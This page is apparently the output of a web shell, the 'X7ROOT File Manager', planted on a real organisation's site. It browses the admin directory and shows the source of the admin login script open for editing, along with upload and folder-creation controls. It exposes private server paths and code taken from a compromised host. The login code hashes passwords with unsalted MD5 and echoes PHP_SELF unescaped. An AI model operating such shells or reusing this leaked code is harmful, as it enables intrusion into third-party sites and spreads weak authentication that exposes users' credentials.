X7ROOT File Manager
Current Path:
/home/u742491609/domains/apca.org.in/public_html/admin
home
/
u742491609
/
domains
/
apca.org.in
/
public_html
/
admin
/
??
..
??
.htaccess
(98 B)
??
add-blog.php
(4.24 KB)
??
add-blog1.php
(3.14 KB)
??
add-blog2.php
(4.77 KB)
??
add-blog3.php
(3.71 KB)
??
all-blog.php
(5.62 KB)
??
all-blog1.php
(2.07 KB)
??
all-subscriber.php
(1.83 KB)
??
assets
??
connection.php
(675 B)
??
connectivity
??
convocation
??
dashboard.php
(1.57 KB)
??
delete-blog.php
(332 B)
??
edit-add-blog.php
(5.25 KB)
??
edit-add-blog1.php
(9.63 KB)
??
edit-blog.php
(5.12 KB)
??
error_log
(4.92 KB)
??
footer.php
(954 B)
??
header.php
(2.21 KB)
??
inaugration
??
index.php
(3.6 KB)
??
logout.php
(80 B)
??
others
??
passing-out-parade
??
republic-independence
??
short-term
??
sidebar.php
(4.43 KB)
??
track_visitors.php
(1.29 KB)
??
uploads
Editing: index.php
<?php session_start(); include("connection.php"); // Include the PDO connection // Check if the user is already logged in if (isset($_SESSION["email"])) { header("Location: dashboard.php"); // Redirect if already logged in exit(); } if (isset($_POST['login'])) { // Capture the input $email = $_POST['email']; $password = $_POST['password']; // Prepare the SQL statement using PDO $stmt = $pdo->prepare("SELECT * FROM `user` WHERE `email` = :email AND `password` = :password"); // Execute the prepared statement with the user inputs $stmt->execute([ ':email' => $email, ':password' => md5($password) // Encrypt password using md5 as in your original code ]); // Fetch the user details $row = $stmt->fetch(PDO::FETCH_ASSOC); if ($row) { // If a user is found // Store the user details in session $_SESSION['email'] = $row['email']; $_SESSION['username'] = $row['username']; // Redirect to the dashboard header("Location: dashboard.php"); exit(); } else { // Show an error message if login fails echo "<p class='text-danger'>Invalid Email / Password! Please Try Again!</p>"; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=0"> <title>APCA | Login</title> <link rel="shortcut icon" type="image/x-icon" href="assets/images/favicon.png"> <!--<link rel="shortcut icon" href="assets/img/favicon.png">--> <link rel="stylesheet" href="https://fonts.googleapis.com/css2?family=Poppins:wght@0,500;0,600;0,700;1,400&display=swap"> <link rel="stylesheet" href="assets/plugins/bootstrap/css/bootstrap.min.css"> <link rel="stylesheet" href="assets/plugins/fontawesome/css/fontawesome.min.css"> <link rel="stylesheet" href="assets/plugins/fontawesome/css/all.min.css"> <link rel="stylesheet" href="assets/css/style.css"> </head> <body> <div class="main-wrapper login-body"> <div class="login-wrapper"> <div class="container"> <div class="loginbox"> <div class="login-left" style="background:#0E70AF"> <img class="img-fluid" src="../assets/images/logo/logo8.png" alt="Logo"> </div> <div class="login-right"> <div class="login-right-wrap"> <h1>Login</h1> <p class="account-subtitle">Access to our dashboard</p> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST"> <div class="form-group"> <input class="form-control" name="email" type="email" placeholder="Email"> </div> <div class="form-group"> <input class="form-control" name="password" type="password" placeholder="Password"> </div> <div class="form-group"> <button class="btn btn-primary btn-block" name="login" type="submit">Login</button> </div> </form> </div> </div> </div> </div> </div> </div> <script src="assets/js/jquery-3.6.0.min.js"></script> <script src="assets/plugins/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="assets/js/script.js"></script> </body> </html>
Upload File
Create Folder